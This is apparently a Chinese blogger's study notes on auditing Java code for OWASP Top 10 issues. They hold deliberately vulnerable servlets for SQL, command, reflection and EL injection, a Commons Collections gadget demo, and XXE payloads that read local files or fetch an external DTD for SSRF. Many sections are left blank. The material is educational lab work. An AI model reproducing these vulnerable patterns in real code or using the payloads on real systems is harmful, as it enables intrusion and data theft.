第五章 OWASP TOP 10 2017 漏洞代码审计

1.sql注入

jdbc拼接不当引起的sql注入，主要用到PreparedStatement

自己写个案例试一下

用Servlet的案例

先写个工具类

package util;

import java.sql.*;

public class DBConn {
    static String url = "jdbc:mysql://localhost:3306/yourdatabase?useUnicode=true&characterEncoding=utf8";
    static String user ="root";
    static String password ="123456";
    static Connection conn=null;
    static ResultSet rs=null;
    static PreparedStatement ps = null;

    public static void init(){
        try {
            Class.forName("com.mysql.jdbc.Driver");
            conn= DriverManager.getConnection(url, user, password);
        } catch (Exception e) {
            // TODO: handle exception
            System.out.println("初始化失败");
            e.printStackTrace();
        }
    }
    /**
     * 增加修改删除操作
     * @param sql
     * @return
     */
    public static int addUpdDel(String sql){
        int i=0;
        try {
            PreparedStatement ps = conn.prepareStatement(sql);
            i=ps.executeUpdate();
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库增删改异常");
            e.printStackTrace();
        }

        return i;
    }

    //数据库查询操作
    public static ResultSet selectSql(String sql){
        try {
            ps=conn.prepareStatement(sql);
            rs=ps.executeQuery(sql);
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库查询异常");
            e.printStackTrace();
        }

        return rs;
    }


    //关闭连接
    public     static void closeConn(){
        try {

            ps.close();
            conn.close();
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库关闭异常");
            e.printStackTrace();
        }
    }
}

再写个servlet

@WebServlet("/sqltest")
public class JdbcSqlInject extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String sql="select * from user_domain where id="+req.getParameter("id");
        resp.getWriter().write(sql);
        try{
            DBConn.init();
            ResultSet rs=DBConn.selectSql(sql);
            while (rs.next()){
                String name=rs.getString("user");
                resp.getWriter().write("\n");
                resp.getWriter().write(name);
            }

        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }
    }
}

引入驱动mysql-connector-java-5.1.46.jar

访问：

http://localhost:8080/ServletTest/sqltest?id=1%20or%201=1

注入成功

正确的做法

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String sql = "select * from user_domain where id=?";
        String id = req.getParameter("id");
        resp.getWriter().write(sql);

        try {
            DBConn.init();
            ResultSet rs = DBConn.selectSql(sql, id);

            while(rs.next()) {
                String name = rs.getString("user");
                resp.getWriter().write("\n");
                resp.getWriter().write(name);
            }
        } catch (SQLException var7) {
            var7.printStackTrace();
        }

    }

　　

//数据库查询操作
    public static ResultSet selectSql(String sql,String id){
        try {
            ps=conn.prepareStatement(sql);
            ps.setInt(1,Integer.parseInt(id));
            rs=ps.executeQuery();
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库查询异常");
            e.printStackTrace();
        }

        return rs;
    }

　　

框架注入mybatis 之前实践过，就省略了

https://www.cnblogs.com/fczlm/p/14273064.html

Hibernate遇到的比较少，暂时省略

 

命令注入

写一个命令注入的Servlet

import org.omg.SendingContext.RunTime;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;

@WebServlet("/ComTest")
public class ComTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String cmd =req.getParameter("cmd");
        Process process= Runtime.getRuntime().exec(cmd);
        InputStream in= process.getInputStream();
        ByteArrayOutputStream ba=new ByteArrayOutputStream();
        byte[] b =new byte[1024];
        int i =-1;
        while ((i= in.read(b))!=-1){
            ba.write(b,0,i);
        }
        resp.getWriter().write(ba.toString());
    }
}

　　命令注入的局限

连接符：|，||，&，&&

java环境的命令注入局限，连接符拼接的字符串不会产生命令注入

代码注入

比如java的反射机制,凑一段这样的代码，然后执行http://localhost:8080/ServletTest/ReflexTest?name=java.lang.Runtime&method=getRuntime&method2=exec&args=whoami

就能执行任意命令了

@WebServlet("/ReflexTest")
public class ReflexTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String class_name=req.getParameter("name");
        String class_method=req.getParameter("method");
        String class_method2=req.getParameter("method2");
        String Args=req.getParameter("args");
        //String[] Args=new String[]{req.getParameter("args").toString()};
        try{
            Class<?> clazz= Class.forName(class_name);
            Method method=clazz.getMethod(class_method);
            Object rt=method.invoke(clazz);
            clazz.getMethod(class_method2,String.class).invoke(rt, Args);

        } catch (ClassNotFoundException | NoSuchMethodException | InvocationTargetException  | IllegalAccessException e) {
            e.printStackTrace();
        }


    }
}

　

是不是觉得这就是你自己凑出来的，真实项目中哪有人给你这样设计好了等你日，嘿，还就真有

java反序列化命令执行中用到了Apache Commons cokkections组件3.1版本，有一段通过利用反射机制完成特定功能的代码。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

　　

那么回顾一下java反序列化命令执行。

首先我们引入Apache Commons cokkections的版本，尝试一下，用InvokerTransformer，到底能不能执行runtime

这里用spring boot maven引入吧，比较好搞一些

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

 

然后main下执行这样的代码：

InvokerTransformer test=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"});
Runtime rt=Runtime.getRuntime();
test.transform(rt);

　　可以确认一点transform是可以通过反射机制，执行Runtime从而命令执行的。

那如果transform传入的对象，我们可控，InvokerTransformer的对象中的内容也可控，那会怎么样？具体分析之前分析学习过https://www.cnblogs.com/fczlm/p/14293107.html

5.表达式注入

5.1EL表达式注入

是一种在JSP页面获取数据的简单方式(只能获取数据，不能设置数据)

 语法格式

在JSP页面的任何静态部分均可通过：${expression}来获取到指定表达式的值

EL只能从四大域中获取属性

page,request,session,application

实例1：获取url参数

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  ${param.name}
  </body>
</html>

　　

实例2，实例化java的内置类

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  ${Runtime.getRuntime().exec("calc")}
  </body>
</html>

EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的，即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的，EL表达式注入漏洞的外部可控点入口都是在Java程序代码中，即Java程序中的EL表达式内容全部或部分是从外部获取的。

案例：

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class Test {
    public static void main(String[] args) {
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        // failed
        // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
        // ok
        String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

　　但是在实际场景中，是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的

5.1.2模板注入

略

5.2 失效的身份认证

略

5.3敏感信息泄露

略

5.4XXE

XML 的解析过程中若存在外部实体，若不添加安全的XML解析配置，则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击，从而用于拒绝服务攻击，任意文件读取，扫内网扫描。

在Java中其实存在着非常多的解析XML的库，同时由于在Java应用中会大量地使用到XML，因此就会出现使用不同的库对XML继续解析，而编写这些代码的研发人员并没有相关的安全背景，所以就导致了层出不穷地Java XXE漏洞。

案例1：

DocumentBuilderFactory

案例

@PostMapping(value="/xxetest",produces = "application/xml;charset=UTF-8")
    public void xxeTest(@RequestBody String xml) throws ParserConfigurationException, IOException, SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = dbf.newDocumentBuilder();
        builder.parse(new InputSource(new StringReader(xml)));
    }

　　

POST http://127.0.0.1:8080/xxetest HTTP/1.1
User-Agent: Fiddler
Content-Type: application/xml;charset=UTF-8
Host: 127.0.0.1:8080
Content-Length: 106

<?xml version="1.0"?> 
<!DOCTYPE creds  SYSTEM "http://**.com/ssrf.php">
<creds>&b;</creds>

　　

收到收到ssrf请求

User-Agent: Java/1.8.0_191
Host: **
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
REMOTE_ADDR:** 2021/09/18 04/36/48pm

　　

其他payload也记录下吧

有回显的

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

　　引入的外部的dtd

<?xml version="1.0"?> 
<!DOCTYPE creds  SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

　　

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> 
%goodies;
]> 
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

　　php 的

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> 
<creds>&goodies;</creds>

　　

此外还有

SAXBuilder，

SAXParserFactory，

SAXReader

SAXTransformerFactory，

SchemaFactory，

TransformerFactory

ValidatorSample，

XMLReader

参考这个https://blog.spoock.com/2018/10/23/java-xxe/

5.5失效的访问控制

略

5.6不安全配置

略，但是之后要补充练习

5.7跨站脚本

略

 5.8 不安全的反序列化

感觉描述的不太清晰，日后查查资料再练习下。

5.9使用含有已知漏洞的组件

略

5.10 CRLF注入

回车换行注入漏洞

<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  <%
    String val=request.getParameter("val");
    Logger log =Logger.getLogger("log");
    log.setLevel(Level.INFO);
    try{
      int value =Integer.parseInt(val);
      System.out.println(value);
    }
    catch (Exception e){
      log.info("Filed"+val);
    }
  %>
  </body>
</html>